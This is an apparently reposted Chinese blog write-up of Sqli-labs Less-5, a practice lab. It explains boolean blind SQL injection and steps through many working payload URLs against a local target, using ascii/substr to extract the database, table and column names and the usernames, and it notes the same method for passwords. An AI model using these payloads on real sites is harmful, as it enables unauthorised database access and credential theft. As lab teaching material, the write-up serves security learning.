Sqli-LABS通關筆錄-5[SQL布爾型盲注]


/*
請為原作者打個標記。出自:珍惜少年時
*/
 
通過該關卡的學習我掌握到了
1.如何靈活的運用mysql里的MID、ASCII、length、等函數
2.布爾型盲注的認識
3.哦,對了還有。程序是從0開始的,limit的時候要從0開始。{0,1}
 
該文就是 布爾型盲注
 
盲注又分為了以下三種:
1.布爾型盲注根據頁面返回的 真假來判斷的即為 布爾型盲注
2.時間型盲注根據頁面返回的 時間來判斷的即為 時間型盲注
3.報錯型盲注:根據頁面返回的 對錯來判斷的即為 報錯型盲注
 
FreeBuf的一篇《詳解sql盲注測試高級技巧》文章: http://www.freebuf.com/articles/web/30841.html

 

看下圖:

直接構造出Payload:

http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+

麻煩來了,沒有爆出顯示位

來看看源碼,由源碼可以看得出來,除了一個echo "You are in ....';以外再無其他輸出。故由此得出為布爾型盲注

 
昨晚心里恐懼,覺得略該睡覺了。就睡了。繼續研究!
                               Start Action 
 
00x1 判斷出盲注的類型
通過前面,其實已經可以判斷出, 當下面臨的是布爾型的盲注,頁面的真假。
聯合到之前的 ASCII逐字解碼法來注入吧。
 
00x2 猜解數據庫的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常
這里使用的是and,之前是使前面的sql語句報錯才用union.我也是頓悟,才知道的。問了好多人都說腳本寫腳本寫。尷尬。
如此就得到了
第一個字符的ASCII碼為115解碼出來為 “s”
第二個字符的ASCII碼為101解碼出來為“e”
第二個字符的ASCII碼為99解碼出來為“c”
依次類推出數據庫的名字為“security”
 
 00x3 猜解表明
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 
正確
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正確

注:select下的limit是第幾個表。

  substr下的是截取的表內容。

當前庫下(注入點連接的數據庫)第一個表ASCII碼為114  解碼為r

當前庫下(注入點連接的數據庫)第一個表ASCII碼為101  解碼為e

當前庫下(注入點連接的數據庫)第一個表ASCII碼為....  解碼為...

............................................》》》推出第一個表的表明為:referer《《《.....

一下來推第二個表的內容:

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正確
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+  正確

當前庫下(注入點連接的數據庫)第二個表ASCII碼為117 解碼為u

當前庫下(注入點連接的數據庫)第二個表ASCII碼為97   解碼為a

 

當前庫下(注入點連接的數據庫)第一個表ASCII碼為....  解碼為...

............................................》》》推出第二個表的表明為:uagents《《《.....
 
 完整的表數據如下:
mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)


 00x4 猜解字段

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+

105的ASCII碼為:i

=》該字段為:id

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+

117的ASCII碼為:u

=>該字段為:username

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+

112的ASCII碼為:p

=>該字段為:password

有圖可見只有三個字段,且程序是從0開始的。所以到2為止。

當為3時就報錯了。

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

 

 00x5 猜解內容

security.users下的第一個字段
格式:httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 數據庫.表明 order by id limit 0,1),1,1)>ASCOO碼--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正確
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正確
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正確
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+ 
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+
.....................................................................................................................................
最終解碼后為:Dumb
security.users下的第二個字段
格式:http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 數據庫.表名 order by id limit 1,1),1,1))=65 --+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+
.....................................................................................................................................
最終解碼后為:Angelina

                                              #注:上面兩個測試的是username,如果要猜解密碼,記得改一下就可以。

 可以看一下完整的結構
 
 
 
 
轉載請注明出處: 珍惜少年時博客
 
 
 
 
 
 
 
THE END

 

 

 
 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM